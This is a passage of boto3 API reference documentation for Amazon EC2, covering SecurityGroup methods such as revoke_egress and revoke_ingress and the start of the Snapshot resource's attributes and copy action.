Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = security_group.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes a security group. + +If you attempt to delete a security group that is associated with an instance, or is referenced by another security group, the operation fails with InvalidGroup.InUse in EC2-Classic or DependencyViolation in EC2-VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSecurityGroup) + +**Request Syntax** + +response = security_group.delete( + GroupName='string', + DryRun=True|False +) + +Parameters + +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You can specify either the security group name or the security group ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_security_groups()](#EC2.Client.describe_security_groups "EC2.Client.describe_security_groups") to update the attributes of the SecurityGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +security_group.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_security_groups()](#EC2.Client.describe_security_groups "EC2.Client.describe_security_groups") to update the attributes of the SecurityGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +security_group.reload() + +Returns + +None + +revoke_egress(kwargs_) + +[VPC only] Removes the specified egress rules from a security group for EC2-VPC. This action does not apply to security groups for use in EC2-Classic. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +[Default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the IPv4 or IPv6 CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupEgress) + +**Request Syntax** + +response = security_group.revoke_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The outbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +revoke_ingress(kwargs_) + +Removes the specified ingress rules from a security group. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +[EC2-Classic , default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupIngress) + +**Request Syntax** + +response = security_group.revoke_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) + +Parameters + +* **CidrIp** (_string_) -- The CIDR IP address range. You can't specify this parameter when specifying a source security group. +* **FromPort** (_integer_) -- The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use -1 to specify all ICMP types. +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a source security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). Use -1 to specify all. +* **SourceSecurityGroupName** (_string_) -- [EC2-Classic, default VPC] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. For EC2-VPC, the source security group must be in the same VPC. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **SourceSecurityGroupOwnerId** (_string_) -- [EC2-Classic] The AWS account ID of the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use -1 to specify all ICMP codes for the ICMP type. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The inbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +[Snapshot](#id1252) +-------------------------------------------------------------- + +_class_ EC2.Snapshot(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Snapshot: + +import boto3 + +ec2 = boto3.resource('ec2') +snapshot = ec2.Snapshot('id') + +Parameters + +**id** (_string_) -- The Snapshot's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Snapshot.id "EC2.Snapshot.id") + +These are the resource's available attributes: + +* [data_encryption_key_id](#EC2.Snapshot.data_encryption_key_id "EC2.Snapshot.data_encryption_key_id") +* [description](#EC2.Snapshot.description "EC2.Snapshot.description") +* [encrypted](#EC2.Snapshot.encrypted "EC2.Snapshot.encrypted") +* [kms_key_id](#EC2.Snapshot.kms_key_id "EC2.Snapshot.kms_key_id") +* [owner_alias](#EC2.Snapshot.owner_alias "EC2.Snapshot.owner_alias") +* [owner_id](#EC2.Snapshot.owner_id "EC2.Snapshot.owner_id") +* [progress](#EC2.Snapshot.progress "EC2.Snapshot.progress") +* [snapshot_id](#EC2.Snapshot.snapshot_id "EC2.Snapshot.snapshot_id") +* [start_time](#EC2.Snapshot.start_time "EC2.Snapshot.start_time") +* [state](#EC2.Snapshot.state "EC2.Snapshot.state") +* [state_message](#EC2.Snapshot.state_message "EC2.Snapshot.state_message") +* [tags](#EC2.Snapshot.tags "EC2.Snapshot.tags") +* [volume_id](#EC2.Snapshot.volume_id "EC2.Snapshot.volume_id") +* [volume_size](#EC2.Snapshot.volume_size "EC2.Snapshot.volume_size") + +These are the resource's available references: + +* [volume](#EC2.Snapshot.volume "EC2.Snapshot.volume") + +These are the resource's available actions: + +* [copy()](#EC2.Snapshot.copy "EC2.Snapshot.copy") +* [create_tags()](#EC2.Snapshot.create_tags "EC2.Snapshot.create_tags") +* [delete()](#EC2.Snapshot.delete "EC2.Snapshot.delete") +* [describe_attribute()](#EC2.Snapshot.describe_attribute "EC2.Snapshot.describe_attribute") +* [get_available_subresources()](#EC2.Snapshot.get_available_subresources "EC2.Snapshot.get_available_subresources") +* [load()](#EC2.Snapshot.load "EC2.Snapshot.load") +* [modify_attribute()](#EC2.Snapshot.modify_attribute "EC2.Snapshot.modify_attribute") +* [reload()](#EC2.Snapshot.reload "EC2.Snapshot.reload") +* [reset_attribute()](#EC2.Snapshot.reset_attribute "EC2.Snapshot.reset_attribute") + +These are the resource's available waiters: + +* [wait_until_completed()](#EC2.Snapshot.wait_until_completed "EC2.Snapshot.wait_until_completed") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Snapshot's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Snapshot.load "EC2.Snapshot.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +data_encryption_key_id + +* _(string) --_ + + The data encryption key identifier for the snapshot. This value is a unique identifier that corresponds to the data encryption key that was used to encrypt the original volume or snapshot copy. Because data encryption keys are inherited by volumes created from snapshots, and vice versa, if snapshots share the same data encryption key identifier, then they belong to the same volume/snapshot lineage. This parameter is only returned by DescribeSnapshots . + + +description + +* _(string) --_ + + The description for the snapshot. + + +encrypted + +* _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the parent volume. + + +owner_alias + +* _(string) --_ + + The AWS owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. + + +owner_id + +* _(string) --_ + + The AWS account ID of the EBS snapshot owner. + + +progress + +* _(string) --_ + + The progress of the snapshot, as a percentage. + + +snapshot_id + +* _(string) --_ + + The ID of the snapshot. Each snapshot receives a unique identifier when it is created. + + +start_time + +* _(datetime) --_ + + The time stamp when the snapshot was initiated. + + +state + +* _(string) --_ + + The snapshot state. + + +state_message + +* _(string) --_ + + Encrypted Amazon EBS snapshots are copied asynchronously. If a snapshot copy operation fails (for example, if the proper AWS Key Management Service (AWS KMS) permissions are not obtained) this field displays error state details to help you diagnose why the error occurred. This parameter is only returned by DescribeSnapshots . + + +tags + +* _(list) --_ + + Any tags assigned to the snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +volume_id + +* _(string) --_ + + The ID of the volume that was used to create the snapshot. Snapshots created by the CopySnapshot action have an arbitrary volume ID that should not be used for any purpose. + + +volume_size + +* _(integer) --_ + + The size of the volume, in GiB. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +volume + +(Volume) The related volume if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +copy(kwargs_) + +Copies a point-in-time snapshot of an EBS volume and stores it in Amazon S3. You can copy the snapshot within the same Region or from one Region to another. You can use the snapshot to create EBS volumes or Amazon Machine Images (AMIs). + +Copies of encrypted EBS snapshots remain encrypted. Copies of unencrypted snapshots remain unencrypted, unless you enable encryption for the snapshot copy operation. By default, encrypted snapshot copies use the default AWS Key Management Service (AWS KMS) customer master key (CMK); however, you can specify a different CMK. + +To copy an encrypted snapshot that has been shared from another account, you must have permissions for the CMK used to encrypt the snapshot. + +Snapshots created by copying another snapshot have an arbitrary volume ID that should not be used for any purpose. + +For more information, see [Copying an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-copy-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API 